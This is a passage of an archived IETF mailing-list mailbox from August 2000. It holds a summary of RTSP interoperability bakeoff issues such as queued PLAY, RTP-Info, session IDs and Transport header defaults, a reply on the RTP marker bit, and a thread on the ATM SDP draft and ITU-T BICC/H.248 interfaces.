3. Queued PLAY as described in the spec was not yet implemented by many of
the participants in the bakeoff. While it seems like it could be a very
useful feature, there were some serious complications in the current design
that make it difficult to implement. In particular, it's currently very
difficult to return a reasonable set of values in the "RTP-Info" header of
the PLAY reply, as it would require knowing exactly what the sequence number
and timestamp will be when the server is done playing all of the previously
queued data, and this information may be difficult or impossible to compute
without actually reading and parsing all of that data. It might be more
reasonable to move this information from the PLAY reply to some other
independent message sent from the server to the client right before a PLAY
spurt starts at the server. For the first PLAY in any given session, this
message would be sent immediately after the PLAY reply, but for queued
segments it would be delayed until that segment was about to begin playing.
There was also an independent request for a "stream done" indication when
playback finished, and it seems like this same message could serve that
purpose, providing the sequence number and timestamp just past the end of
the packets which were transmitted when playback finishes.

4. It would be useful to clarify in the spec that the CSeq field should be
kept unique within a single control connection between the client and the
server. There was some confusion about whether it might instead be somehow
tied to a Session.

5a. A suggestion was made that URLs in the RTP-Info header be quoted in some
way, to avoid confusion in parsing. At the MMUSIC session, a recommendation
was made to use SIP-style quoting for this where the URL is placed in angle
brackets. This sounds like a reasonable solution, but some thought is needed
about how to make the transition here, as existing clients are unlikely to
correctly handle stripping off the angle brackets.

5b. The relationship (or lack thereof) between "seq" and "rtptime" in the
RTP-Info header could use more clarification. The spec does already say that
they don't necessarily correspond to the same time, but it might be useful to
add a detailed example that shows why this is the case and explains how each
is computed. On a related note, there was a suggestion that it might be
useful to have another field in this header that specified the timestamp of
the first real packet which will be sent (which _would_ correspond to the
seq field) so that clients would know what kind of delay to expect before
data starts arriving on that track.

6a. There are some situations where it would be useful to get some kind of
session state between a client and server even before any media streams are
requested. An obvious thing to use for this would be the Session header, but
right now a session can only be created when a SETUP is done. A suggestion
was made to add some kind of new command or field in something like the
OPTIONS command which could request the server assign and return a Session
without needing to do a SETUP.

6b. All of the examples currently found in the spec use numeric session IDs.
While the BNF does clearly show the session IDs can contain other characters,
it might be good to change the examples to show that to reinforce the fact
that they should be treated as opaque strings.

6c. Currently, the spec does not require the server to return a Session header
in the SETUP reply. However, this makes it difficult to do some kinds of
aggregate control (such as the example earlier about tracks from different
objects played together). To make the client's job easier, should we consider
requiring session IDs to be returned?

6d. More explanation about timeouts would be useful. In particular, the spec
speaks about session timeouts, but it says very little about timeouts on
control connections and how exactly the teardown of control connections
affects the teardown of sessions. In particular, section 12.37 talks about
RTSP command activity being needed to reset the timeout, but Section A
later mentions other wellness information such as RTCP reports being good
enough for that, suggesting that it should be possible to start playback
of a session and then tear down the control connection without fear of
the session timing out as long as RTCP reports are sent. Not all servers
implement this, however. A clearer specification of exactly what servers
must support here would be useful.

7a. Currently, the description of the Transport header says that "multicast"
is the default for _all_ transports. However, for some such as RTP/AVP/TCP,
multicast doesn't make sense. Should it be changed to make "unicast" the
default for some transports like TCP?

7b. Most existing implementations of RTP/AVP/TCP are actually of the
"interleaved" variety. However, clients don't have a good way of explicitly
asking for "interleaved", since the current BNF requires the "interleaved"
attribute to contain the channel numbers used (and those are generally
picked by the server). Should "RTP/AVP/TCP" always imply "interleaved" or
should the spec be changed to allow "interleaved" with no arguments as a
legal option so clients can request it? Is there any interest in supporting
the non-interleaved TCP transport described in the RTP/AVP Profile? If not,
should we recommend that be removed from the profile, or changed in some way
to be closer to the RTSP interleaved one?

7c. The "port", "client_port", and "server_port" options currently allow
either a single port number or "port1-port2" to specify a range. However,
the spec isn't really clear about what is meant by each of these cases. In
the case of RTP, does specifying a single port imply that RTCP will be on
that port + 1? If a range of ports is specified where the second port number
_isn't_ the first port + 1, what does that mean?

7d. A suggestion was made that proxies be reminded to explicitly add a
"source" field to the Transport header they pass back to clients, to make
sure client RTCP reports are sent to the right place. Otherwise, they could
end up getting sent to the origin server. Also, we may want to encourage
servers to echo back full transport information, including client-specified
fields like "client_port", to make it easier for proxies.

8. Right now, section B of the spec suggests setting the RTP marker bit in
an audio stream to mark a talk spurt boundary on the first packet of any new
PLAY request. However, in practice, this can be difficult to implement as
many servers don't know exactly what kind of data they are sending (and thus
whether it is audio or not). Also, there's no equivalent to this which works
for video. This same information can can gotten from the sequence number
given in the RTP-Info header, however, and perhaps that's all we need to
provide.

9a. There was some confusion about the proper way to compute the base URL
to use for expanding "a=control:" relative URLs in SDP descriptions returned
by DESCRIBE. When a Content-Base header is not present but a Content-Location
header is, should that be used as-is, or should its final component after the
last '/' be stripped off the way it is for HTTP?

9b. Is it legal for the session-level "a=control:" in the SDP description to
be a relative URL?

9c. If a session-level "a=control:" _is_ specified, should that be used as
the base URL for all the media-level "a=control:" relative URLs, or should
they still be interpreted as being relative to the original base?

9d. There are a few different ad-hoc schemes right now for specifying
alternate tracks in an SDP description, so that clients and servers can
do a limited form of content negotiation. It would be nice to standardize
on a single way to do this. At the second MMUSIC session, there was a fair
amount of support in favor of adding some kind of flow-id attribute, allowing
multiple alternatives to all list the same flow ID as a way for clients to
know they should only play back one of those alternatives at any given time
rather than all of them. It would be good to try and flesh out this idea
further.

9e. A suggestion was made that the "cliprect" field in SDP for video tracks
might be useful to include even in cases where video is being played back at
its natural size, allowing a client to prepare an appropriately sized window
without having to wait for data to start arriving.

10. A question came up about whether RTSP proxies should be expected to
preserve port number mappings between multiple SETUP requests in a given
session. In other words, if a client does multiple SETUPs with a given
client_port, should a proxy be expected to pass on that request to the
origin server with a common client_port (though possibly different
particular port numbers)? Similarly, if a server replies to multiple requests
with the same server_port pair, should the proxy use one server_port pair
for its connection back to the client?

11. Questions came up about when servers needed to handle multiple header
lines with the same name. At the MMUSIC session, a comment was made that
this is another place we might be able to use what SIP did. It explicitly
mentions that headers whose values are comma separated lists must allow the
items to appear on multiple separate headers lines and that the order must
be preserved. Copying that text into the RTSP spec might be useful. It would
also be useful to clarify exactly what other line continuation conventions
must be supported, if any.
--
Ron Frederick
ronf@entera.com



From confctrl-owner  Tue Aug  8 17:48:38 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id RAA12321
	for confctrl-outgoing; Tue, 8 Aug 2000 17:48:38 -0700 (PDT)
Received: from nitro.isi.edu (nitro.isi.edu [128.9.208.207])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id RAA12316
	for <confctrl@zephyr.isi.edu>; Tue, 8 Aug 2000 17:48:37 -0700 (PDT)
Received: from farley.cisco.com (farley.cisco.com [171.71.153.30])
	by nitro.isi.edu (8.9.3/8.9.3) with ESMTP id RAA13383
	for <confctrl@isi.edu>; Tue, 8 Aug 2000 17:49:42 -0700 (PDT)
Received: from rkumar-ntl (dhcp-71-29-169.cisco.com [171.71.29.169])
	by farley.cisco.com (8.8.8/2.6/Cisco List Logging/8.8.8) with SMTP id RAA19148;
	Tue, 8 Aug 2000 17:49:04 -0700 (PDT)
Message-Id: <4.1.20000808174520.00bf7db0@wanbu-mail.cisco.com>
X-Sender: rkumar@wanbu-mail.cisco.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1 
Date: Tue, 08 Aug 2000 17:53:53 -0700
To: Leslie.Graf@ericsson.com.au, Mark Watson <mwatson@nortelnetworks.com>
From: Rajesh Kumar <rkumar@cisco.com>
Subject: Re: Reminder//Status of ATM SDP internet draft
Cc: confctrl@ISI.EDU, atmsdp@eng.fore.com, msf-media@msforum.org,
        "'BICC ITU-T SG11 (tsg11bicc@ties.itu.int)'" <tsg11bicc@ties.itu.ch>
In-Reply-To: <398F9EDC.C63A00B@ericsson.com.au>
References: <61ABD11436FED21192440000F81F3E360304C188@nwcwi1a.europe.nortel.com>
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="=====================_25781732==_.ALT"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--=====================_25781732==_.ALT
Content-Type: text/plain; charset="us-ascii"

I'll try and answer Leslie's question based on my understanding of the BICC
work. Correct me where I am wrong.

The CSU described below is the equivalent of the MGC in h.248/Megaco, and the
BCU is the equivalent of the MG.

I guess CSUs communicate with each other through Q.1901-enhanced ISUP. They
communicate  with BCUs through some protocol not addressed by BICC, such as
Megaco/h.248. Now, Megaco uses SDP to communicate parameters.

I guess the CSUs have two options in relaying the bearer-specific parameters to
the far-end CSU via ISUP enhanced through Q.1901. One option is to interwork
the Megaco/h.248 parameters into Q.BICC(Q.1901) parameters. The other option is
to just tunnel these parameters as a character string to the far-end, via
Q.1901-enhanced ISUP. I guess this is what you mean by "tunneled" and
"non-tunneled", but I may be wrong.

Given this, the CSU would need to understand SDP in the non-tunneled approach
if Megaco is the protocol between the CSU and BCU. Is SG11 devising a protocol
for use between the CSU (MGC) and the BCU (MG) that is an alternative to
Megaco/SDP?

Thanks,

Rajesh

At 03:47 PM 8/8/00 +1000, Leslie Graf wrote: 
>
> Hi Mark, 
> I had a chat with Christian before answering this, as you took me quite by
> suproze. I had never thought SDP was needed to be generated from the CSU to
> the BCU. In CS1 in our supplements we passed down the codec type and TMR,
> etc. I feel this is a transport technology independant way of doing things
> and requires no additional standardisation in other forums. This would be
> part of our package definition in the BICC group. I see no reason why the CSU
> need know anything about SDP, could you please clarify if I have missed
> something? The only use of SDP in the BICC domain that I am familiar with is
> in the IP BCP running in the tunnel. This is completely transparent to the
> CSU. 
> Could you explain to me what we gain by going to SDP generated from the CSU
> rather than using the work we did in CS1? 
> Regards Leslie 
>
> Mark Watson wrote: 
>>
>>  Leslie,Unless I have missed something, SDP is the way that Megaco/H.248
>> communicates a variety of parameters between MGC and MG, and this work is
>> the IETFs approach to extending Megaco/H.248 to support ATM bearer types.We
>> need a way of communicating the BIWF address and BNC ID from MG to MGC so
>> that they can then be placed in the BAT ASE for the non-tunnelled Bearer
>> Control case that we use with ATM. This draft provides such a capability
>> (amongst many other things more relevant to the BMC interface than CBC).I
>> think that IETF and ITU-T approaches to the non-tunnelled bearer control
>> case are slightly different, but amongst all the noise, we are both trying
>> to solve the same problem of communicating these two information elements on
>> the vertical interface, so we should at least study whether there is scope
>> for an aligned solution.Regards,Mark WatsonNortel Networks
>>>
>>>    
>>> -----Original Message-----  
>>> From: Leslie Graf
>>> [<mailto:Leslie.Graf@ericsson.com.au>mailto:Leslie.Graf@ericsson.com.au]  
>>> Sent: 07 August 2000 12:13  
>>> To: Watson, Mark [MAIFP:EP11-M:EXCH]  
>>> Cc: 'Rajesh Kumar'; confctrl@isi.edu; atmsdp@eng.fore.com;
>>> msf-media@msforum.org; 'BICC ITU-T SG11 (tsg11bicc@ties.itu.int)'  
>>> Subject: Re: Reminder//Status of ATM SDP internet draft 
>>>   
>>> Hi Mark, 
>>> I am also very interested in this for work I am involved in (nothingto do
>>> with BICC). However what I am missing at the moment is seeing the
>>> significance of the ATM additions to SDP to the work for BICC CS2. 
>>> As you are aware of have concerns on the timeframe in meeting our
>>> objectives for CS2 by the end of the year. Could you please enlighten me
>>> with why this should be of any interest to BICC CS2, is anyone planning for
>>> ATM BCP's using SDP for BICC environment? 
>>> This is the only item I can think of which would make it relevant. 
>>> Regards Leslie 
>>>
>>> Mark Watson wrote: 
>>>>
>>>> Hi Rajesh,The ITU-T Study Group 11 BICC group are meeting from 18 to 22nd
>>>> September. It would be very useful if your updated draft could be input
>>>> into that meeting, so that we can study whether or not it meets the Study
>>>> Group 11 requirements, and if not whether there is an easy way of getting
>>>> alignment. Do you think the draft will be ready by then ?Regards,Mark
>>>> WatsonNortel Networks  
>>>> -----Original Message-----  
>>>> From: Rajesh Kumar [<mailto:rkumar@cisco.com>mailto:rkumar@cisco.com]  
>>>> Sent: 04 August 2000 18:36  
>>>> To: Joerg Ott  
>>>> Cc: mmostafa@cisco.com; bfoster@cisco.com; Brian.Rosen@marconi.com;
>>>> confctrl@isi.edu; atmsdp@eng.fore.com; msf-media@msforum.org  
>>>> Subject: Reminder//Status of ATM SDP internet draft 
>>>> Hi Jeorg,At the end of the MMUSIC session on Wednesday, you asked me to
>>>> remind you to send me the *comments* you have on
>>>> draft-rajeshkumar-mmusic-sdp-atm-02.txt.Please do so. Your help in
>>>> clearing all technical and logistic hurdles in moving this internet draft
>>>> to standards track is critical. Thanks for your help and co-operation so
>>>> far.FYI-- I have made careful notes of the comments that were provided
>>>> during my presentation at the IETF. I do not see any problem in
>>>> incorporating them into the next round of the internet draft, which I hope
>>>> to release in the mid-September time-frame.- I am expecting further inputs
>>>> from  Sean Sheedy. FYI, Sean and I have met informally before the MMUSIC
>>>> meeting and talked after the meeting, and we are in agreement in what
>>>> needs to be done for MPEG support. Sean needs to confirm certain things
>>>> with his CTO, following which he will provide me with detailed input via
>>>> email.- I have found a few more inputs on the atmsdp mailing list
>>>> following my return, and I will address each and every one of them.If we
>>>> can get all this input sorted out in an internet draft to be posted in
>>>> mid-September, what do you think is the time-line for moving this to
>>>> standards track?Thanks 
>>>>
>>>> - Rajesh Kumar  
>>>> +--------------------+  
>>>> |Carrier Packet Voice|  
>>>> |Cisco Systems       |  
>>>> |San Jose, California|  
>>>> +--------------------+  
>>>>   rkumar@cisco.com  
>>>>   408 527 0811   
>>>>   
>>>>  
>>>
>>
>
>
>
> - Rajesh Kumar
>         
> -------------------------------------------------------
> Rajesh Kumar                             :         :
> Carrier Packet Voice                    .|.       .|.
> Cisco Systems                         .:|||:.   .:|||:.
> San Jose, California               ..:|||||||:.:|||||||:..
> 408 527 0811                       C i s c o S y s t e m s
> rkumar@cisco.com  
> -------------------------------------------------------
>           
>  
>  

--=====================_25781732==_.ALT
Content-Type: text/html; charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<html>
I'll try and answer Leslie's question based on my understanding of the
BICC work. Correct me where I am wrong.<br>
<br>
The CSU described below is the equivalent of the MGC in h.248/Megaco, and
the BCU is the equivalent of the MG.<br>
<br>
I guess CSUs communicate with each other through Q.1901-enhanced ISUP.
They communicate&nbsp; with BCUs through some protocol not addressed by
BICC, such as Megaco/h.248. Now, Megaco uses SDP to communicate
parameters.<br>
<br>
I guess the CSUs have two options in relaying the bearer-specific
parameters to the far-end CSU via ISUP enhanced through Q.1901. One
option is to interwork the Megaco/h.248 parameters into Q.BICC(Q.1901)
parameters. The other option is to just tunnel these parameters as a
character string to the far-end, via Q.1901-enhanced ISUP. I guess this
is what you mean by &quot;tunneled&quot; and &quot;non-tunneled&quot;,
but I may be wrong.<br>
<br>
Given this, the CSU would need to understand SDP in the non-tunneled
approach if Megaco is the protocol between the CSU and BCU. Is SG11
devising a protocol for use between the CSU (MGC) and the BCU (MG) that
is an alternative to Megaco/SDP?<br>
<br>
Thanks,<br>
<br>
Rajesh<br>
<br>
At 03:47 PM 8/8/00 +1000, Leslie Graf wrote: <br>
<blockquote type=3Dcite cite>Hi Mark, <br>
I had a chat with Christian before answering this, as you took me quite
by suproze. I had never thought SDP was needed to be generated from the
CSU to the BCU. In CS1 in our supplements we passed down the codec type
and TMR, etc. I feel this is a transport technology independant way of
doing things and requires no additional standardisation in other forums.
This would be part of our package definition in the BICC group. I see no
reason why the CSU need know anything about SDP, could you please clarify
if I have missed something? The only use of SDP in the BICC domain that I
am familiar with is in the IP BCP running in the tunnel. This is
completely transparent to the CSU. <br>
Could you explain to me what we gain by going to SDP generated from the
CSU rather than using the work we did in CS1? <br>
Regards Leslie <br>
<br>
Mark Watson wrote: <br>
<blockquote type=3Dcite cite>&nbsp;<font face=3D"Arial, Helvetica" size=3D2 =
color=3D"#0000FF">Leslie,Unless
I have missed something, SDP is the way that Megaco/H.248 communicates a
variety of parameters between MGC and MG, and this work is the IETFs
approach to extending Megaco/H.248 to support ATM bearer types.We need a
way of communicating the BIWF address and BNC ID from MG to MGC so that
they can then be placed in the BAT ASE for the non-tunnelled Bearer
Control case that we use with ATM. This draft provides such a capability
(amongst many other things more relevant to the BMC interface than CBC).I
think that IETF and ITU-T approaches to the non-tunnelled bearer control
case are slightly different, but amongst all the noise, we are both
trying to solve the same problem of communicating these two information
elements on the vertical interface, so we should at least study whether
there is scope for an aligned solution.Regards,Mark WatsonNortel
Networks</font><blockquote> <font face=3D"Tahoma" size=3D2>
<dl>
<dd>-----Original Message-----</font> <font face=3D"Tahoma" size=3D2>
<dd>From:</b> Leslie Graf
[<a href=3D"mailto:Leslie.Graf@ericsson.com.au">mailto:Leslie.Graf@ericsson.=
com.au</a>]</font>
<font face=3D"Tahoma" size=3D2>
<dd>Sent:</b> 07 August 2000 12:13</font> <font face=3D"Tahoma" size=3D2>
<dd>To:</b> Watson, Mark [MAIFP:EP11-M:EXCH]</font>
<font face=3D"Tahoma" size=3D2>
<dd>Cc:</b> 'Rajesh Kumar'; confctrl@isi.edu; atmsdp@eng.fore.com;=
 msf-media@msforum.org; 'BICC ITU-T SG11 (tsg11bicc@ties.itu.int)'</font>=
 <font face=3D"Tahoma" size=3D2>
<dd>Subject:</b> Re: Reminder//Status of ATM SDP internet draft</font>=20
<dd>&nbsp;
<dd>Hi Mark,=20
<dd>I am also very interested in this for work I am involved in (nothingto=
 do with BICC). However what I am missing at the moment is seeing the=
 significance of the ATM additions to SDP to the work for BICC CS2.=20
<dd>As you are aware of have concerns on the timeframe in meeting our=
 objectives for CS2 by the end of the year. Could you please enlighten me=
 with why this should be of any interest to BICC CS2, is anyone planning for=
 ATM BCP's using SDP for BICC environment?=20
<dd>This is the only item I can think of which would make it relevant.=20
<dd>Regards Leslie <br>
<br>

<dd>Mark Watson wrote: <font face=3D"Arial, Helvetica" size=3D2=
 color=3D"#0000FF"><blockquote type=3Dcite cite>
<dd>Hi Rajesh,The ITU-T Study Group 11 BICC group are meeting from 18 to=
 22nd September. It would be very useful if your updated draft could be=
 input into that meeting, so that we can study whether or not it meets the=
 Study Group 11 requirements, and if not whether there is an easy way of=
 getting alignment. Do you think the draft will be ready by then=
 ?Regards,Mark WatsonNortel Networks</font> <font face=3D"Tahoma" size=3D2>
<dd>-----Original Message-----</font> <font face=3D"Tahoma" size=3D2>
<dd>From:</b> Rajesh Kumar [<a=
 href=3D"mailto:rkumar@cisco.com">mailto:rkumar@cisco.com</a>]</font> <font=
 face=3D"Tahoma" size=3D2>
<dd>Sent:</b> 04 August 2000 18:36</font> <font face=3D"Tahoma" size=3D2>
<dd>To:</b> Joerg Ott</font> <font face=3D"Tahoma" size=3D2>
<dd>Cc:</b> mmostafa@cisco.com; bfoster@cisco.com; Brian.Rosen@marconi.com;=
 confctrl@isi.edu; atmsdp@eng.fore.com; msf-media@msforum.org</font> <font=
 face=3D"Tahoma" size=3D2>
<dd>Subject:</b> Reminder//Status of ATM SDP internet draft</font>
<dd>Hi Jeorg,At the end of the MMUSIC session on Wednesday, you asked me to=
 remind you to send me the *comments* you have on=
 draft-rajeshkumar-mmusic-sdp-atm-02.txt.Please do so. Your help in clearing=
 all technical and logistic hurdles in moving this internet draft to=
 standards track is critical. Thanks for your help and co-operation so=
 far.FYI-- I have made careful notes of the comments that were provided=
 during my presentation at the IETF. I do not see any problem in=
 incorporating them into the next round of the internet draft, which I hope=
 to release in the mid-September time-frame.- I am expecting further inputs=
 from&nbsp; Sean Sheedy. FYI, Sean and I have met informally before the=
 MMUSIC meeting and talked after the meeting, and we are in agreement in=
 what needs to be done for MPEG support. Sean needs to confirm certain=
 things with his CTO, following which he will provide me with detailed input=
 via email.- I have found a few more inputs on the atmsdp mailing list=
 following my return, and I will address each and every one of them.If we=
 can get all this input sorted out in an internet draft to be posted in=
 mid-September, what do you think is the time-line for moving this to=
 standards track?Thanks <br>
<br>

<dd>- Rajesh Kumar <font size=3D2 color=3D"#800000">
<dd>+--------------------+</font> <font size=3D2 color=3D"#800000">
<dd>|Carrier Packet Voice|</font> <font size=3D2 color=3D"#800000">
<dd>|Cisco Systems&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |</font> <font size=
=3D2 color=3D"#800000">
<dd>|San Jose, California|</font> <font size=3D2 color=3D"#800000">
<dd>+--------------------+</font> <font size=3D2 color=3D"#800000">
<dd>&nbsp; rkumar@cisco.com</font> <font size=3D2 color=3D"#800000">
<dd>&nbsp; 408 527 0811</font><x-tab>&nbsp;&nbsp;</x-tab>
<dd>&nbsp;=20
<dd>&nbsp;</blockquote></blockquote></blockquote>
</dl><br>
<br>

- Rajesh Kumar<br>
<font size=3D2=
 color=3D"#800000">&nbsp;<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</=
x-tab><br>
</font>-------------------------------------------------------<br>
Rajesh=
 Kumar&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp; :&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
 :<br>
Carrier Packet=
 Voice&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
 .|.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; .|.<br>
Cisco=
 Systems&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
 .:|||:.&nbsp;&nbsp; .:|||:.<br>
San Jose,=
 California&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp; ..:|||||||:.:|||||||:..<br>
408 527=
 0811&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; C i s c o S y=
 s t e m s<br>
rkumar@cisco.com&nbsp; <br>
-------------------------------------------------------<br>
<font size=3D2=
 color=3D"#800000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
 <br>
&nbsp;<br>
</font><font face=3D"Garamond" color=3D"#800000"><i>&nbsp;<br>
</font></i></html>

--=====================_25781732==_.ALT--


From confctrl-owner  Tue Aug  8 18:37:08 2000
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id SAA14536
	for confctrl-outgoing; Tue, 8 Aug 2000 18:37:08 -0700 (PDT)
Received: from nitro.isi.edu (nitro.isi.edu [128.9.208.207])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id SAA14531
	for <confctrl@zephyr.isi.edu>; Tue, 8 Aug 2000 18:37:06 -0700 (PDT)
Received: from sj-msg-core-2.cisco.com (sj-msg-core-2.cisco.com [171.69.43.88])
	by nitro.isi.edu (8.9.3/8.9.3) with ESMTP id SAA19682
	for <confctrl@ISI.EDU>; Tue, 8 Aug 2000 18:38:11 -0700 (PDT)
Received: from mira-sjc5-3.cisco.com (mira-sjc5-3.cisco.com [171.71.163.20])
	by sj-msg-core-2.cisco.com (8.9.3/8.9.1) with ESMTP id SAA06829;
	Tue, 8 Aug 2000 18:37:58 -0700 (PDT)
Received: from cisco.com (dhcp-71-147-180.cisco.com [171.71.147.180])
	by mira-sjc5-3.cisco.com (Mirapoint)
	with ESMTP id ABI02134 (AUTH anrao);
	Tue, 8 Aug 2000 18:38:07 -0700 (PDT)
Message-ID: <3990B584.59C84FE1@cisco.com>
Date: Tue, 08 Aug 2000 18:36:04 -0700
From: Anup Rao <anrao@cisco.com>
Organization: Cisco Systems
X-Mailer: Mozilla 4.5 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Ron Frederick <ronf@entera.com>
CC: confctrl@ISI.EDU
Subject: Re: RTSP Bakeoff issues
References: <E13MJtb-0000D8-00@savage.entera.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Ron,

Thanks for the excellent summary.  One comment below:

Ron Frederick wrote:

> 8. Right now, section B of the spec suggests setting the RTP marker bit in
> an audio stream to mark a talk spurt boundary on the first packet of any new
> PLAY request. However, in practice, this can be difficult to implement as
> many servers don't know exactly what kind of data they are sending (and thus
> whether it is audio or not). Also, there's no equivalent to this which works
> for video. This same information can can gotten from the sequence number
> given in the RTP-Info header, however, and perhaps that's all we need to
> provide.

I'd like to make a case for the way it currently is ie. set the marker bit in the
audio stream to mark the first packet for any new PLAY request.

It allows for the logical seperation of the controlling(RTSP) entity and the
playback entity.  It is quite possible to not receive the  PLAY response (with the
RTP-Info header) before the first packet, hence resulting in some confusion. In
such a case, one might point out that  the RTP-Info header is no use. However  I
think the RTP-Info is advisory  information(in that one can get by without),  but
the marker bit is  more than that. I think that will perhaps become more evident
for implementations that do indeed keep contiguous timestamps across PLAYs as
specified in the same section.

This "logical seperation" is even more important if the RTP stream is directed at
a third party (ie the controller and the playback agent are on different hosts)
which does not have the RTP-Info header.
In comparison, teaching the server to know whether its audio nor not (in essence a
boolean flag either derived from the file extension, file header, or simply put in
as seperate meta-information with the file) seems to be simple.

Thanks
Anup.


From confctrl-owner  Tue Aug  8 19:25:16 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id TAA16814
	for confctrl-outgoing; Tue, 8 Aug 2000 19:25:16 -0700 (PDT)
Received: from nitro.isi.edu (nitro.isi.edu [128.9.208.207])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id TAA16809
	for <confctrl@zephyr.isi.edu>; Tue, 8 Aug 2000 19:25:15 -0700 (PDT)
Received: from albatross-ext.wise.edt.ericsson.se (albatross-ext.wise.edt.ericsson.se [194.237.142.116])
	by nitro.isi.edu (8.9.3/8.9.3) with ESMTP id TAA24828
	for <confctrl@isi.edu>; Tue, 8 Aug 2000 19:26:19 -0700 (PDT)
Received: from al.edt.ericsson.se (elb1.al.edt.ericsson.se [136.225.252.11])
	by albatross.wise.edt.ericsson.se (8.11.0/8.11.0/WIREfire-1.3) with ESMTP id e792Pwp01948;
	Wed, 9 Aug 2000 04:25:58 +0200 (MEST)
Received: from elb4.al.edt.ericsson.se (elb4 [136.225.252.20])
	by al.edt.ericsson.se (8.8.8+Sun/8.8.8/eri-dom-1.1) with ESMTP id EAA07138;
	Wed, 9 Aug 2000 04:25:57 +0200 (MET DST)
Received: from ericsson.com ([146.11.85.148])
	by elb4.al.edt.ericsson.se (8.9.3+Sun/8.9.1/client-1.0) with ESMTP id EAA15896;
	Wed, 9 Aug 2000 04:25:53 +0200 (MET DST)
Message-ID: <3990BA4B.62C4FEE@ericsson.com>
Date: Wed, 09 Aug 2000 11:56:27 +1000
From: Christian Groves <Christian.Groves@ericsson.com>
X-Mailer: Mozilla 4.72 [en] (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Rajesh Kumar <rkumar@cisco.com>
CC: Leslie.Graf@ericsson.com.au, Mark Watson <mwatson@nortelnetworks.com>,
        confctrl@ISI.EDU, atmsdp@eng.fore.com, msf-media@msforum.org,
        "'BICC ITU-T SG11 (tsg11bicc@ties.itu.int)'" <tsg11bicc@ties.itu.ch>
Subject: Re: Reminder//Status of ATM SDP internet draft
References: <61ABD11436FED21192440000F81F3E360304C188@nwcwi1a.europe.nortel.com> <4.1.20000808174520.00bf7db0@wanbu-mail.cisco.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

G'Day Rajesh,

SG11 is not defining a new protocol, it is using H248. Please see some
clarifications below marked [CHG].

Cheers, Christian

Rajesh Kumar wrote:
> 
> I'll try and answer Leslie's question based on my understanding of the
> BICC work. Correct me where I am wrong.
> 
> The CSU described below is the equivalent of the MGC in h.248/Megaco,
> and the BCU is the equivalent of the MG.
[CHG] The BCU is part of a larger function called the Bearer
Interworking Function (BIWF). Another function called the Bearer Media
Unit (BMU) is also contained. The interface between the CSU (Call
Serving Unit/MGC) and the BCU is called the Call Bearer Control
Interface (CBC). The interface between the BCU and BMU is called the BMC
interface. BICC CS2 is currently only addressing the CBC interface. The
BMC is currently out of scope.

> 
> I guess CSUs communicate with each other through Q.1901-enhanced ISUP.
> They communicate  with BCUs through some protocol not addressed by
> BICC, such as Megaco/h.248. Now, Megaco uses SDP to communicate
> parameters.
[CHG] Sort of. BICC will not change the core H.248 but will define a
profile which includes package definition to communicate across the CBC
interface.

> 
> I guess the CSUs have two options in relaying the bearer-specific
> parameters to the far-end CSU via ISUP enhanced through Q.1901. One
> option is to interwork the Megaco/h.248 parameters into Q.BICC(Q.1901)
> parameters. The other option is to just tunnel these parameters as a
> character string to the far-end, via Q.1901-enhanced ISUP. I guess
> this is what you mean by "tunneled" and "non-tunneled", but I may be
> wrong.
> 
> Given this, the CSU would need to understand SDP in the non-tunneled
> approach if Megaco is the protocol between the CSU and BCU. Is SG11
> devising a protocol for use between the CSU (MGC) and the BCU (MG)
> that is an alternative to Megaco/SDP?

[CHG] As we have 2 interface CBC and BMC and a tunnelling option we
really have 3 instances of SDP potentially being used.

The first is the pure CBC interface protocol that will go in the Local
and Remote descriptors in the H.248 commands. Associated with this is
what is defined in packages. For what we need across the BICC interface
we will need to define packages. SDP nor H.248annexC covers everything
we need. To avoid the religious discussion on text vs binary we could
define all the elements we need in packages because these are encoding
independent. It also gives us the opportunity to define elements which
match the BICC horizontal protocol. ie. codecs, tmr, usi etc. I'm
